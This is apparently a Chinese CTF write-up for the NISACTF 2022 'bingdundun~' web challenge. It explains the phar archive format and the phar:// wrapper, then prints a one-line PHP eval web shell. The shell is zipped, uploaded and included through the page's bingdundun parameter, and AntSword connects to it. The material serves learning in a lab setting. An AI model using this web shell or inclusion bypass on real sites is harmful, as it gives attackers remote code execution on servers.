[NISACTF 2022]bingdundun~

[NISACTF 2022]bingdundun~

题目来源:nssctf

题目类型:web

涉及考点:文件上传

1. 题目给了一个点击按钮,进去之后是上传入口

  • 还是选择之前的muma.jpg上传:
  • 上传成功,我们再利用bp抓包修改成muma.php试试
  • 上传失败了,我们回去看看有没有啥提示,在源代码中发现:

额,好像没什么用

  • 这时候注意到页面url上有个GET传参bingdundun
  • 我们传入bingdundun=index看看:

实在看不出啥,还是直接找wp吧

2. Phar伪协议

Phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分:

  1. stub:phar 文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
  2. manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
  3. contents:被压缩文件的内容
  4. signature:签名,放在文件末尾

php有内置的Phar类来进行Phar文件操作:

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

注:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

对于Phar文件详解见:phar文件详解 (侵删!!)

phar://伪协议,可以将任意后缀名的压缩包(原来是 .phar 或 .zip,注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。

用法:?file=phar://压缩包/内部文件,eg:?file=phar://muma.zip/muma.php

3. 利用Phar伪协议读取文件

这里没有用本地生成Phar文件,是直接将php压缩成zip文件上传的

因为我重开了一下靶场,所以重新传入muma.zip(将muma.php压缩):

这里对我们的压缩文件重命名了,蚁剑连接的时候要注意一下

muma.php的内容如下:

<?php @eval($_POST['r00ts']);?> 

用蚁剑连接一下,注意url地址填写如下:

http://node2.anna.nssctf.cn:28051/?bingdundun=phar://2364cb87e4efc9acd2fe40df758bce6d.zip/muma.php

连接密码为r00ts(即POST里的内容)

自己改下靶场地址和一句话木马文件名即可

连接成功后我们在根目录下找到了flag:

NSSCTF{b98408b0-69f4-4ede-87a6-c2e9190b451b}

日期:2023.8.12

作者:y0Zero

posted @ 2023-08-12 12:19  y0Zero  阅读(321)  评论(0编辑  收藏  举报